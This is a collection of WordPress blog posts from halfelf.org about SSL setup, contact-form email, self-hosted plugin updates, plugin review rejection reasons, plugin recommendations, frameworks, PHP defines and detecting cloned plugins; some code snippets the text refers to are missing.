I actually have multiple SSL certs. The problem with multiple SSL certs is that a wildcard one for subdomains costs around $300 (this is on [Comodo](http://ssl.comodo.com/wildcard-ssl-certificates.php)), and I have three domains I need to protect on one server… Oh. Wait, wasn’t this a problem before? As it happens, I’ve got [SNI](http://wiki.apache.org/httpd/NameBasedSSLVHostsWithSNI) on my Apache instance now, so that was fixed. I picked up a cert for store.halfelf.org and set it up, done. Except…
**Add-on Domain**
Why this? Well it’s funny. I used to always tell people ‘Use Parked Domains, it’s way easier’ and this is still true, it just has a caveat of ‘unless you’re trying to use SSL.’ Now that I am, I hit a sticking point where a parked domain cannot have it’s own SSL cert, but an add-on domain can. This was a simple fix. I deleted the parked domain and flipped it to an add-on domain. Then I added the certificate in for my site and now I have https on ipstenu.org *and* store.halfelf.org but *not* halfelf.org. Why? Because halfelf.org and store.halfelf.org are separate add-on domains. Had I bought a wildcard cert for halfelf.org, I could have made halfelf an addon, and store.halfelf a parked domain on top of halfelf, but this works too.
The other option, of course, is a multi-domain cert, which is too much money for my tastes, and I don’t need it all the time. I have SNI, which makes this so super easy for me, it’s silly. Just add the cert for the domain and have a party.
**WP-Config**
But today I only want to force one of my mapped domains to be SSL:
No that was it. If it’s two domains, it’s this:
and so on and so forth. Why not using an OR check? Because it failed miserably when I did that. I suspect it’s due to ipstenu.org being my main domain, but I was tired and stopped here.
**.htaccess**
Okay, now I want my domain to default to SSL when people visit too!
That was easy.
**WordPress SSL**
What about making everything on my page load SSLish? Install and activate? That was it? Oh. Okay.
### Verify!

Hey! Looks good! Actually I’d had a problem when I first ran this.

Yeah, that little yellow triangle. What the heck did it mean? I trotted off to [Why No Padlock?](http://www.whynopadlock.com/) and got an error:
> **SSL verification issue** (Possibly mis-matched URL or bad intermediate cert.). Details:
> ERROR: no certificate subject alternative name matches
That didn’t help me at all, so I viewed page source and looked for `http://store` and didn’t find anything. Then I looked at the console and saw that it had an error on some JS:
That happens to be my background image. So I went and removed the background image readded it, and the error went away!
### Moral?
Always read the ToS.
**Categories:** How It Is
**Tags:** multisite, plugins, ssl, wordpress
---
### [Contact Form 7 and Anti-Spam](https://halfelf.org/2012/contact-form-7-and-anti-spam/)
**Published:** September 14, 2012
**Author:** Ipstenu (Mika Epstein)
**Content:**
DreamHost has a fairly simple anti-spam policy, which can be summed up as this: [You cannot send email from an address that isn’t your domain.](http://dreamhost.com/anti-spam-policy/)
If that was greek to you, don’t worry. What that means is that my WordPress blog here can only send emails as elftest.net. That poses a small problem if you’re not using your domain-name to send email (a rare occurrence in WordPress), and a large one if you happen to be using the popular Contact Form 7 plugin.
[Contact Form 7](http://wordpress.org/extend/plugins/contact-form-7/) lets you create robust contact forms for your site, however it has one minor ‘flaw’ (and I hesitate to use that word). When it sends email, it sends it from the user who submits the form. DreamHost, naturally, doesn’t like this. joe@gmail.com isn’t an elftest user!
Thankfully there’s a work-around for you, and it’s really easy. For most people, the plugin [SMTP Configure](http://wordpress.org/extend/plugins/configure-smtp/), once installed and activated, will automatically fix this for you! It’s written by a reliable and trusted programmer, and I highly recommend it. Remember! Once you install the plugin, just activate it. For the vast majority of people, this was it. Everything magically worked.
Then there were some people who came and said “No, this does not work.” I’ve yet to reproduce it, but one person told me that after putting in his SMTP credentials, just like you would [setting up email clients](http://wiki.dreamhost.com/E-mail_Client_Configuration), it worked perfectly.
Additional: If you’re using **Jetpack’s** contact form, and you’ve changed the ‘to’ email address, you will *also* need this plugin. You’ll know you’re using that option because you’ll see this in your contact form shortcode:
```
to="me@myotherdomain.com"
```
**Categories:** How It Works
**Tags:** dreamhost, email, plugins, spam, wordpress
---
### [Self-Update Your Plugins](https://halfelf.org/2014/self-update-your-plugins/)
**Published:** September 17, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Keeping up with your own Joneses isn't always easy, but it can be,
**Content:**
When your plugin is hosted on WordPress.org, this isn’t a problem at all. But if you’re selling your own work, or hosting it on a non WPORG resource, there are other concerns. You see, if you host a plugin on WordPress.org, your plugin can’t have it’s own updater script. You have to use the default .org updater. This is just fine, except when you have an add on that you want to be pay-only. Then what?
Take a look at [Easy Digital Downloads](https://easydigitaldownloads.com/?ref=3359). You can get the main plugin from WordPress.org, and if you buy add ons from their site, they get magical updates too! How did they do that? They put an updater script in the main plugin which is then called by the paid extensions. You can even use their Software Licensing add ons to [run your own updates on your server](https://easydigitaldownloads.com/docs/automatic-upgrades-for-wordpress-plugins/?ref=3359)! If you want to sell on their site, they’ll help you take care of that too.
Todd Lahman also has an [WooCommerce API manager](http://www.woothemes.com/products/woocommerce-api-manager/), so if you’re using WooThemes, you’ve got that covered too.

Speaking of self hosting, if you’re hosting your own code on Github, then you want to use Andy’s **[Github Updater](https://github.com/afragen/github-updater)**. While it’s not allowed on .org (sorry Andy), this will let you push updates from your GitHub or Bitbucket hosted WordPress plugins and themes.
My buddy Norcross has [his own free updater](http://a.norc.co/1dt0MZK) for you as well.
You can also look at services like [Auto Hosted](http://autohosted.com/) or [WP Updates](http://wp-updates.com/), both of which promise to make it even easier and faster for you.
Jeremy Clarke has a [automatic theme/plugin updater](https://github.com/jeremyclark13/automatic-theme-plugin-update) as well if you still want to be self hosted.
If you’re using ThemeForest, there’s the **[Envato WordPress Toolkit](https://github.com/envato/envato-wordpress-toolkit)**, which your *users* (not you) will need to install on their sites to get updates. I don’t know if there’s a way to include an updater in your packaged theme or plugin, but that toolkit needs to be all over the place for users. That it’s not brings all the issues you see with their products being out of date.
There are hundreds of other ways around this. And really, there’s no excuse to not keep your plugins and themes up to date, no matter where they live. Keep those users updated and make it *easy* for them to do it! What resources do you use when self-hosting a plugin or theme, to keep it on the up and up, and keep everyone updates?
**Categories:** How To
**Tags:** plugins, themes, updates, wordpress
---
### [Why I Pushed Back On Your Plugin](https://halfelf.org/2014/pushed-back-plugin/)
**Published:** November 19, 2014
**Author:** Ipstenu (Mika Epstein)
**Content:**
The talk at WordCamp Ventura was actually called “Top 11 Reasons Your Plugin Was Rejected.” It was supposed to be ten, but Konstantine said “You should make it 11!” and I did but forgot to update the info for him. Bonus reason! You can see all the slides at [helf.us/wcventura2014](https://helf.us/wcventura2014) right now. Video will be up on WordPress.tv soon.
The truth is, there were only two reasons I actually would ever reject your plugin. If you never replied to our emails about any of the other reasons, we’ve probably rejected you. And if you’re claiming to be someone you’re not in a way we can’t prove, we’ve also rejected you. Let me cover the reasons here, for posterity. My slides are fully accessible, but people learn in different ways.
And to understand how I made this list, I use [aText](http://www.trankynam.com/atext/) to auto-reply to things. I just made a note of which ones I used to most, flipped ’em in reserve order, and thus I had a list.
### Trademarks
This is the funny story one where I rejected [Facebook](http://wordpress.org/plugins/facebook) because they used a gmail address and a DropBox URL for their plugin. I looked at it, thought they couldn’t possibly be Facebook, rejected, and got egg on my face. I’d do it again, though, because the point here is that if you’re making a plugin for a company and you’re using the company name, you need to make it clear and easily provable that you are them.
If you’re doing contract work for, let’s say Pandora, to make an official plugin, you should make a new account on WordPress.org for that. Pandora-Dev or even just Pandora, using a pandora.com email address of course, and then making the plugin downloadable from pandora.com does a lot to make us think you’re real. If you don’t? I may reject you right away.
### Missing readme
Otto used to let me pend a plugin because there was no readme. The number got so high, he made me stop. Now we only do this if you’re acting as a service or calling files remotely. Akismet and Disqus would require a readme, as would Twitter, but “Hello Dalai” would not. Of course you always *should* make a readme, but we don’t force you to do so.
### Phoning Home
Akismet ‘phones home’ to it’s own servers to process your comments as spam or ham. That’s not what I mean here. We don’t permit plugins to phone home to your own server unless they’re acting as a service.
A plugin that simply validates a license and ‘unlocks’ functionality that’s already in the plugin is not a service. A plugin that sends an email or message to your own servers when the plugin is installed and/or uininstalled is also not a service. A plugin that calls out to maxcdn or Amazon S3 for your JS and CSS files is also not a service.
When you call out to another server you’re generally doing one of the following:
1. Intentionally tracking the use of your plugin
2. Creating an unnedded dependancy on another server being accessible in the interest of ‘controlling’ your css/js/images or keeping your plugin smaller
3. Trying to control who uses your plugin
None of those are okay. Think about it as a user. If you’re behind a firewall and can’t access Google (which is not an unrealistic situation), and your plugin requires Google’s version of the html5 shiv script, you just broke your plugin for probably the people who needed it most. Well done.
Don’t do this. Make everything local to your plugin. It will actually run faster.
### Updates
Related to phoning home is a plugin who calls back to it’s own servers for updates. Would you be surprised to learn that WordPress.org hosted plugins can already serve updates from WordPress.org? Of course not. You’ve seen that helpful alert on a site before. This is usually a hold over from self-hosting a plugin, or hosting it on Github, but it still needs to be removed.
One of our guidelines is that you actually use the WordPress.org hosting to, you know, host your plugin. It’s not a directory for spamming, it’s for using to deploy too.
### Encryption
Using encryption methods like `base64()` or `p,a,c,k,e,r` to hide your code or otherwise make it human-unreadable breaks our rule of “No obfuscated code.” It’s fine to compress your code and minify, but it’s not okay to hide it. All code must be human readable for inclusion in this repository.
This is because we feel the spirit of GPL means that anyone can easily look at your code to reverse engineering what it does and expand on it. Easy being subjective of course, but you get the idea. Hiding your code is useless. It doesn’t help the community at all.
### GPL
Speaking of… I don’t care your thoughts on GPL. I really don’t. What I care about is this: In order to be hosted on the WordPress.org repository for plugins, every single bit of code in your plugin must be compatible with the GPLv2 (or later) license. This isn’t negotiable, it’s not up for debate. It’s above and beyond what the GPL requires, and we know that. Which is why I just don’t care how you think we’re ‘interpreting the GPL wrong.’ That isn’t my point at all.
You want to be hosted on WordPress.org? Your code must be 100% compatible with GPL. Deal with it.
### Calling wp-load or wp-blog-header or wp-config
Including wp-config.php, wp-blog-header.php, wp-load.php, or pretty much any other WordPress core file that you have to call directly via an include is not a good idea and we cannot approve a plugin that does so unless it has a very good reason to load the file(s). It is prone to failure since not all WordPress installs have the exact same file structure.
Usually plugins will include wp-config.php or wp-load.php in order to gain access to core WordPress functions, but there are much better ways to do this. It’s best if you tie your processing functions (the ones that need but don’t have access to core functions) into an action hook, such as “init” or “admin\_init”.
If you’re trying to use it because you need to access WordPress functions outside of WordPress, we’d actually much rather you didn’t do that at all. Your plugin should be inside WordPress, only accessible to people who are logged in and authorized, if it needs that kind of access. Your plugin’s pages should be called via the dashboard like all the other settings panels, and in that way, they’ll always have access to WordPress functions.
### Security
Sanitize your post calls, sanitize your SQL queries, use the right code, and be smart. Don’t reinvent the wheel. This is the hardest one to get right and we miss a lot of things, but we want all instances where $\_POST data is inserted into the database, or into a file, to be properly sanitized for security. And when you’re making database calls, it’s highly important to protect your code from SQL injection vulnerabilities via prepare() or other functions.
This is just *hard* but we do try very hard to catch them all.
### Including your own copy of jQuery
Please stop this.
WordPress includes its own version of jQuery and many other similar JS files. If your code ‘requires’ an older version, fix your code to work with the one that comes with WordPress. Having ‘your own version’ means you run the risk of breaking everyone else’s plugins and themes, which makes you a bad person. Stop it. Use the ones with WordPress. It keeps your code smaller and your plugin smaller. Also if everyone uses the built in ones, then the first time one of you enqueues it, the faster everyone else’s code will run. Really. It’s magic.
### Calling wp-content directly
When you hardcode in paths, or assume that everyone has WordPress in the root of their domain, you cause anyone using ‘Giving WordPress it’s own directory’ (a VERY common setup) to break and you make me cry. In addition, WordPress allows users to change the name of wp-content, so you would break anyone who choses to do so.
Oh, and don’t worry about supporting WordPress 2.x or lower. We don’t encourage it nor expect you to do so, so save yourself some time and energy. Remember! If we stop supporting WP 3.8 and older, then people have to upgrade to use our plugins! Everyone wins!
### Not answering an email
If you never reply to an email we sent you about why we pending your plugin, yes you got rejected. In order to keep the queue low and manageable, we reject plugins after seven days from our first reply (not your submission). This can also happen if you’re working with one of us on your plugin code and it takes a long time. This happens when a plugin is complicated, or if there’s a language barrier, or if we just can’t understand why you’re not making the changes we asked for.
---
Did I reject your plugin and you still don’t understand why? Have a weird question about plugins? Ask away in the comments!
**Categories:** How It Works
**Tags:** administration, plugins, wordpress
---
### [Mailbag: What Plugins Do I Use?](https://halfelf.org/2014/mailbag-plugins-use/)
**Published:** December 26, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Let's close out 2014 with some plugin suggestions... Or not. What plugins do I use?
**Content:**
This was actually a bit of a shill from someone I didn’t know, asking to help him with his own ’roundup’ of various experts. I didn’t reply, mostly because I was super busy and favors like this from random people are low on my list of things I’ll ever reply to. But the question is interesting.
> Which WordPress plugins do you use most in the following categories: Seo, Social Media, Commenting, Performance, Captcha and Payments.
Answer to all: None.
Seriously, though. The only ‘Social Media’ plugin I use is [Jetpack](https://wordpress.org/plugins/jetpack/), and that’s just to push my content to Twitter and Facebook reliably. I don’t use any SEO plugins though when I do, I use [WordPress SEO](https://wordpress.org/plugins/wordpress-seo/) because I trust Yoast. Most of the time, my themes handle SEO for me just fine.
Captcha I *never use*. I won’t. I hate captcha. [Captcha isn’t accessible](https://halfelf.org/2010/captcha-isnt-accessible/ "CAPTCHA Isn’t Accessible"), as I’ve been saying for four years. Similarly I don’t use commenting plugins because I don’t need them, and I like owning my content. When you put up barriers to comments, you get fewer comments.
Performance plugins are a weird area. Yes, I use plugins for that, but it’s got to do with what I installed on my server. I have memcached and ZendOptimizer, so I use a couple things for that. [Zach Tollman’s memcached object-cache.php plugin](https://github.com/tollmanz/wordpress-pecl-memcached-object-cache) and [Batcache](https://wordpress.org/plugins/batcache/). But really most of the work is on the server already having the backend required for those. That’s the same reason I have Google Pagespeed on the server.
Payments… I don’t know how I could answer this. I use [Easy Digital Downloads](https://easydigitaldownloads.com/?ref=3359) for sales, and I handle payments through Paypal and Stripe right now. But that isn’t so much a plugin question as a who do I trust with my money question. I’d be using them regardless of if I used EDD or not.
Asking me what I use ‘most’ is a very weird question since I use what’s right for the job I’m facing. If that answer is ‘Not WordPress’ then I don’t use WordPress. So with that in mind, I rarely blanket recommend *any* plugin out there. I listen to people, what they’re asking, what they mean, and how they sound, and I try to recommend based on all to those aspects. There’s rarely one perfect answer for everyone.
If you think I’m joking, read [Chris Lema on the perfect WP shopping cart plugin](http://chrislema.com/wordpress-shopping-cart-plugin/). There are a lot of choices and decisions and options out there, but you’ve got to know what you really need before you make a choice.
Of course for me, when the choice is between two equally well written plugins, I pick the one where I’ve worked with the developers before hand.
**Categories:** How It Is
**Tags:** mailbag, plugins, wordpress
---
### [Mailbag: Tools To Keep Consistent](https://halfelf.org/2015/mailbag-keep-consistent/)
**Published:** February 6, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The trick behind posting three days a week, regularly, for over two years, is to use the right tools. And to have a lot of questions!
**Content:**
Meg from Ohio (go Ohio!) asks the following:
> You blog three times a week about tech. How do you keep doing that?
I schedule posts.
[Chris Lema](http://chrislema.com) doesn’t, bless him. I started with about 10 posts I had in mind, sat down one day and made myself a buffer, and thought that it would be better to space them out to every other day. It actually started as twice a week, but then I bumped it to M-W-F, and since I’m kind of wordy, I’ve been able to keep up with it. Sometimes I write a post because I solved a problem, which happens pretty much every day, and sometimes I toss out a remark on twitter that people want to hear more about.
Much of it comes from listening and reading a lot. But I don’t *just* schedule posts. I use the plugin [Editorial Calendar](https://wordpress.org/plugins/editorial-calendar/) to keep tabs on what my schedule is, when things are being posts, and at what time, because I actually really hate the posts lists.
Here’s your default posts list:
[](https://halfelf.org/wp-content/uploads/sites/2/2015/02/post-list.png)
It’s pretty bare bones and functional, but one of the things that’s always bothered me about the whole post list is how useless it is. Don’t get me wrong, it’s a list of posts, and it does that really well. But with the moving target that is what we use WordPress for, it’s become rather frustratingly bare bones for me and it really does impact my ability to get work done when I have to bounce back and forth between multiple screens just to see what the status is, verify I updated everything, and by the way, where are all my posts.
So, in the grand WordPress Tradition, I enhance it with plugins.
[Admin Featured Image](https://wordpress.org/plugins/admin-featured-image/) shows the featured image in the posts list, which is really good for one site to make sure I did too set an image and what it is.
[](https://halfelf.org/wp-content/uploads/sites/2/2015/02/admin-featured.png)
[UI Labs](https://wordpress.org/plugins/ui-labs/) I’ve actually forked. I need to remember to ping John about this, because I took his (great) plugin and modernized it. If you’re interested, that code is up on [my github UI-Labs repo](https://github.com/Ipstenu/ui-labs). It’s slowly being improved to make things a little easier for me and to work on WP 4.0 and up.
[Editorial Calendar](https://wordpress.org/plugins/editorial-calendar/), as mentioned before, gives me a great view for what’s scheduled and when:
[](https://halfelf.org/wp-content/uploads/sites/2/2015/02/editorial-calendar.png)
The drag and drop interface lets me reschedule on a whim.
Speaking of… [Schedule Posts Calendar](https://wordpress.org/plugins/schedule-posts-calendar/) fills a void that has pissed me off for years. Just look at the comparison:
[](https://halfelf.org/wp-content/uploads/sites/2/2015/02/schedule-date.png)
First, there’s the calendar by the month, then there’s the date, and finally the epic button ‘today’ to let me fast fix posts messed up by the WP iOS app.
So how do I keep posting so often? You ask questions, I answer them, and I have some tools to make it simpler for me.
**Categories:** How It Is, How To
**Tags:** essay, mailbag, plugins, wordpress
---
### [MailBag: Why Do You Do It?](https://halfelf.org/2015/mailbag/)
**Published:** January 9, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Why I WordPress, more thoughts on security, and also responsibility.
**Content:**
Zaman dropped me a year end note. He’s been asking people, interviewing them, for a site, and had three questions about why I do what I do (and a little bit of how). It deserved a public reply.
> 1.You have been actively volunteering at WordPress support forum and with your solutions individuals and companies save big chunk of money. Your family and Job at DreamHost are your top priorities. Then your priority becomes the website you run (halfelf.org). You still manage to take out couple of hours to hit WordPress forum. You mention in one of your blog that some people volunteer because they enjoy it and some do it to master skills. What drives you to volunteer at WordPress?
What drives me to volunteer at WordPress is little more than a bit of technical socialism. I give back because I get back, and it seems only logical and fair and just to make the time to do these things. Admittedly, having my job actually be know WordPress’ ecosystem and keep a good relationship between WP and DreamHost makes this far easier for me than most. But at the same time, I was doing this before it was my job. And I did it because I could.
I have a hard time explaining the need to give back to people, because it’s something you either understand in your heart or you don’t. Call it a random act of kindness to the universe, I help with WordPress because I can, because I enjoy it, and because it makes me feel good to do it. I won’t deny I get awesome emotional props from doing it, a feeling of absolute satisfaction and pleasure knowing I can help people, but it’s really just that. I like doing it. I make the time for it.
> 2.Your insights on halfelf.org are remarkable and the blog “[whose responsibility is it](https://halfelf.org/2014/whose-responsibility/ "Whose Responsibility Is It?")” in particular draws my attention. You convey it is the business owner responsibility and not the WordPress core or Webhosting Company to perform due diligence before they install plugin’s. You also call out there is a need for more security experts. Is there a shortage of wordpress security experts in general or in wordpress public support forum?
Do I think there’s a shortage of WP security experts? No, I think there’s a shortage of security experts in general. I think the masses of people would rather do awesome and create awesome than study security and delve into things. The fact that I can think of a hundred ways to socially engineer going to see a movie for free without breaking a sweat, the fact that someone like Frank Abagnale was able to pull off what he did underscores the issue.
At our heart, humans want to trust. We want to believe people won’t screw with us. And when you factor in just how complex computers and code can be, of course we have faith that the people who write code are writing the best code to their ability and know what they’re doing. And we have faith that, when a bug or a security flaw is reported, people will fix it as fast as they can.
WordPress complicates this, since there are so many plugins and themes out there that there isn’t a centralized place to reply a problem. Even if there was, there’s no way to enforce the bug is fixed, and there’s no way to be certain everyone will upgrade. Just look at the nightmare from the RevSlider situation. Once you add in the world of non wordpress.org hosted code, it’s impossible to maintain any control.
If more developers were security conscious this might be less of the case, but it’s a problem in Open Source. The Heartbleed vulnerability is a prime example of that. One change, missed by many. It’s not just WordPress, it’s how we develop in Open Source. The speed of our work makes issues like this sadly more common and possible. So we need more people who love hacking into things and breaking them and then *responsibly* passing on fixes to make things more secure. I do feel that Github and sites like it are actually a great step forward. I can file a pull request with a fix and pass on the help in that way.
This does require hobbyists to step up and be a bit more of a true developer, but they have the most to gain from it in the end.
> 3\. Examining and reviewing the plugin software may not be possible for small businesses. Do you have a list of plugins that should be avoided or a checklist that should be considered before installing the plugins? I am not asking if you to list here. May be an article in halfelf.org will be very useful for WordPress community.
I don’t have a list. I can’t have a list. It’s impossible, given the rapidity with which plugins are updated, fixed, released, and closed. It’s just not feasible. I tried, at DreamHost, to keep tabs on plugins like that for about a week. Then I gave up. It would be a full time job.
And I disagree it may not be possible for a small business to have an audit done on their plugins and themes. They can hire someone. It would be expensive, certainly, but frankly I find the alternative untenable. If you had a physical store, you’d pay to have a security audit once in a while, if only by your security company. This too is a part of running a business. Period. You just can’t dismiss it as ‘not possible’ when it’s your career on the line. Complicated, expensive, and annoying I will grant you. But you have to do it. Even if it’s just once a year, you’re a step or ten ahead from where you were before.
I’ll say this, however. I would expect someone like Pippin over on [Easy Digital Downloads](https://easydigitaldownloads.com/?ref=3359) to be reviewing *all* add-ons he lists on his site. Anything he sells, certainly, but also this [big list of free add-ons](https://easydigitaldownloads.com/blog/extensions/categories/free/) should be checked for basic security before being listed. In this way, a small company can know they’re reasonably secure with that suite of plugins.
Are there plugins that should be avoided? Sure. I suggest you avoid anyone you can’t figure out how to contact in case of a security issue, anyone who encrypts their code so you can’t read it, and anyone whom, when you *do* contact them, blow you off.
**Categories:** How It Is
**Tags:** essay, mailbag, plugins, security, wordpress
---
### [Mailbag: Multisite or Not?](https://halfelf.org/2015/mailbag-multisite/)
**Published:** August 14, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Nope, still wouldn't use Multisite for this one.
**Content:**
From Ian:
> Hi, I wanted to comment on one of your articles and see if any one would provide feedback, but the comments are closed. https://halfelf.org/2011/dont-use-wordpress-multisite/ I have been avoiding using Multisite as you recommend. Several have tried to get me to go that way, but it didn’t seem right. So in the cases of when a business wants to have independent sites that share the main sites content, what would you recommend?
There was more to the email but it boils down to this. They want a site that has all the local content *and* all the main brand’s content.
When you get to the point of ‘sharing’ content, Multisite is less and less of a winner. While we’re still in a pre JSON API world, which would make this a bit easier, I lean towards the basic simplicity of categories.
I’d have a main category for ‘news’ and another for each independent site (say ‘locale1’). Then I’d craft my theme to pull in posts from ‘news’ and ‘locale1’ *and* style it per the brand designation of each locale.
The plugin [Groups](https://wordpress.org/plugins/groups/) may be what you want to control access for things.
One site. Easy to cross-relate content. Done.
No multisite.
**Categories:** How To
**Tags:** mailbag, multisite, plugins
---
### [I Hate Your Framework](https://halfelf.org/2015/hate-framework/)
**Published:** March 18, 2015
**Author:** Ipstenu (Mika Epstein)
**Content:**
The plugin itself was one PHP file and three JS files.
The framework was over two megs.
The plugin added in a new setting to select which one of the three javascript files should be called.
The framework ‘made it pretty.’
I’m right up there telling people that the [WordPress Settings API](http://codex.wordpress.org/Settings_API) is a giant bag of wet hair. It’s confusing, it’s cryptic, it doesn’t always play well with everything, and sometimes it makes you feel like the point is to make us have decisions, not options, for our plugins. But I don’t think plugin frameworks are the answer. At least not the way most people seem to be going about them.
When I say frameworks, I don’t mean the libraries like the AWSSDK for PHP framework that you package up into your plugin and do a proper check for a function, calling yours if the the library isn’t there. No, I mean the plugins that are totally separate plugins but are meant to be called by yours in order to make development easier and more consistent.
That’s what I hate.
I love the idea of these frameworks, actually. I think that a boilerplate plugin, similar to [\_underscores](http://underscores.me/), where I can put in my plugin name, my information, and press a button to have the basic plugin files generated for me is brilliant! But I think most of the libraries out there are doing it in a way that will annoy and upset most people.
The problem is less the framework and more the people using them as a ‘quick fix’ without properly thinking about what they want to do.
## They’re Too Large
In the case of this plugin, one file with three settings could just be done with two functions (maybe three) and instead he’s made a download half the size of WordPress core. The zip is large, it makes things take just a little bit longer for people on slow servers to download and upgrade, and the larger you get, the worse you are for the really small shared hosts. I know a lot of people argue with me about this, but remember than a high number of hosts still default you to allow 7M in PHP upload size. That means when your plugin becomes the 30 meg behemoth with all your dev files, you’ve made things pretty bad for some users. But even when you’ve only made your plugin 2 or 3 megs, why would you do that when you have one file of actual code?
The logic escapes me.
## They’ve Got Too Many Files
Not the same thing as too large! There are hundreds of files in a framework, and if you’re using only 4, that means you have 96+ files to review for security. You just increased your workload for not enough value. Which is really a major part of my next issue. The point here is you, the developer, are responsible for every single file in that framework. You are expected to know everything about it, where it installs, what it uses, why it uses it, and when to upgrade. This is a pain. It’s a chore. And it’s your job now.
## You Don’t Know How to WordPress
This is also why I don’t like the idea of making Multisite too much easier. The further you take a developer from writing this code, the further they get from understanding how it all comes together and the harder it is for them to debug their own plugins. If you’re developing a plugin you plan to share with other people, even a teeny tiny one, you need to understand what you’re doing. You need to learn about the way the code interacts with the CMS tool, you need to understand why some things are secure and others are not.
## You Use the Frameworks Wrong
I said before, I love the *idea*. And I do. They’re a brilliant idea and, when done right, work perfectly. The problem with them is, a bit, a problem with WordPress, which is we really don’t have a way to handle children plugins. You see, the *best* thing for a true framework plugin would be to have it be a separate plugin. But without plugin dependency support in core or the directory, it becomes another level of hassle for users.
For example… if you have the plugin as a separate plugin, these are the issues we’ve see for end-users (not developers):
- Not recognizing the framework plugin, and thus deleting it (causing the plugin(s) to break)
- Not recognizing the framework plugin and thinking they’ve been hacked
- Updating the framework plugin separately from the dependent plugins, possibly leading to breakage
- Updating a dependent plugin without updating the framework, possibly leading to breakage
- Different plugins requiring different versions of the framework
And bearing in mind that the framework and plugin developers are different people, that’s another level of coordination/compatibility issues. Frameworks and libraries should be packaged with each plugin (hopefully in a way that doesn’t conflict with other plugins using the framework or libraries). At least until core supports plugin dependencies.
But I still think that’s wrong.
I still think the best framework plugin isn’t a plugin at all, it’s a tool to help you design and build a plugin via your editor of choice. Or maybe a Grunt Script that lets you build it out based on parameters. Time spend making a framework for making the plugin ‘interface’ better would be better spent making the Settings API better.
**Categories:** How It Is
**Tags:** development, essay, plugins, wordpress
---
### [Defines, Variables, and Plugin Dirs](https://halfelf.org/2015/defines-variables-plugin-dirs/)
**Published:** April 1, 2015
**Author:** Ipstenu (Mika Epstein)
**Content:**
If you’ve spent any time looking at PHP code, then you’ve seen defines and variables
## Defines
A define looks like this:
This makes a global **constant** that can be used anywhere. In the case of WordPress, it means they can be used across multiple plugins or themes. This is very useful if you make a suite of plugins that all have the possibility of using the same API key. Then you can tell a user to put `define('MY_PLUGIN_API', '123456');` in their `wp-config.php` file, and tell your code to check for the define.
A define also cannot be *re*defined. If you call it twice, you get errors, so you should be as unique as possible when creating yours.
## Variables
A variable, meanwhile, looks like this:
Variables only exist where they are, so if I have one in one function, I may not be able to call it in another. You can make global variables if needed, and in fact if you don’t, the variable won’t be available to all functions.
## Which Should I Use?
Keeping in mind that defines are constants and variables are, well, variables, the idea is that a constant should be used for things that *should not* change in the running of the code. It also makes your code easier to maintain if the things that must be constant are explicitly so.
So what’s a good define? Actually not really this:
This is a constant, it’s something you should be setting and it shouldn’t be overwritten, but actually I’d want to make it a database field to check on before upgrading. Remember, you *should* be changing that define on upgrade, so having it be a declared constant is a little odd. Now that said, it *is* a good one when you consider you don’t want someone to willy-nilly override it. Except … what if you do? What if you want someone to be able to change it back to re-run an upgrade?
So then really not this either:
Someone’s probably thinking that their plugin directory is a constant and, thus, should be defined like that. Maybe, but it’s a pointless define in WordPress. You already have `plugins_url()` (which this example isn’t using) but it’s really where people use that code that makes no sense. That’s why I included the second line there. That’s what they use it for, and it means two lines of code for one function call.
This actually magically becomes a good define when you have a complex plugin with multiple files and you need to grab the main plugin directory in sub-files. But if your plugin is one file (and yes, that’s where I see it the most), it’s overkill.
This *is* a good define:
But that should never be in your code itself. Not for WordPress at least. That should be in the `wp-config.php`, like I mentioned before.
Basically … there aren’t great reasons to use defines unless you want things that never change. `define('MY_PLUGIN_SUPPORT_HOME','http://help.example.com');` would make sense to me, as would other contact info you want to make sure is never subverted.
## What do you think define is best for?
I’m interested to hear what you guys like to use defines for. I’m certainly guilty of using them for some pretty silly reason.
**Categories:** How It Works
**Tags:** coding, plugins, wordpress
---
### [Mailbag: What's The Diff?](https://halfelf.org/2015/whats-diff/)
**Published:** May 1, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Ideas can always be copied. Code can be cloned. But you should be an original.
**Content:**
> How do you compare two plugins to see if one’s a fork or stolen? What’s the difference between a fork and a clone?
Sometimes people like to ‘steal’ plugins. This normally happens when someone takes a premium (purchase only behind a firewall) plugin and attempts to give it away for free on WordPress.org. They tend to violate copyright when they do that, but also it’s just not a cool thing to do and I find it distasteful.
Often we catch these since people who steal like that aren’t always very smart and we recognize code that is generally well known and popular. But more often we don’t catch it because [CodeCanyon has 3400+ plugins](http://codecanyon.net/category/wordpress) and [WordPress.org has 37k+](https://wordpress.org/plugins/) and that’s a lot to compare and remember. And that’s when we get an email from a plugin developer who says “So and so stole my work!”
What do we do? We ask them for a copy of their code, in a zip, and say we’ll compare. Most developers are happy to do that. We’re a trustworthy lot, otherwise we wouldn’t be on the plugin team (yes, being a good, moral, and ethical person is very important). Once I have the zip, I download the claimed-clone and compare them line by line.
Well. Not really.
My toy is [DeltaWalker](http://www.deltawalker.com/).
With DeltaWalker I can compare two zip files without having to open the zips and look at each line. In the below example, I’ve got Akismet 3.0 vs 3.1.1 and I can see every single change just by tossing the zips in as files to compare:
[](https://halfelf.org/wp-content/uploads/sites/2/2015/04/deltawalker-Akismet.png)
DeltaWalker is so good, it helps me compare the readmes so I can easily see that someone has just fiddled with the original and not written their own.
What I look for is code style, formatting, and naming conventions. Rarely do two separate individuals use the same code formatting (tabs vs spaces vs tabs+space etc), so seeing their additions will jump out. Similarly, the code style, their internal logic, is often wildly different. Same with naming conventions.
When you look at it, it will jump out at you that generally all anyone does is rename functions or classes. They remove credit and copyright information too, and sometimes they mess with the help docs. Rarely do they add anything of substance. If they *do* then it’s a legit fork and we’ll push them to restore credit and copyright information.
But since it’s generally not, we will quickly see that the plugin is a direct, no feature added, copy, and remove it.
If this happens to you, if your plugin is ‘taken’ and duplicated without any code being added, email `pluginsATwordpress.org` with a copy of your original plugin (and a link to perhaps prove it’s you) and we’ll look at it. If you get an email where we tell you that your plugin is a copy, take a moment to review your code and feel free to talk with us about it. A ‘one line’ change actually MAY be acceptable as a fork, but it’s rare unless it’s adding in a massive feature, or totally changing functionality.
Above all, remember this:
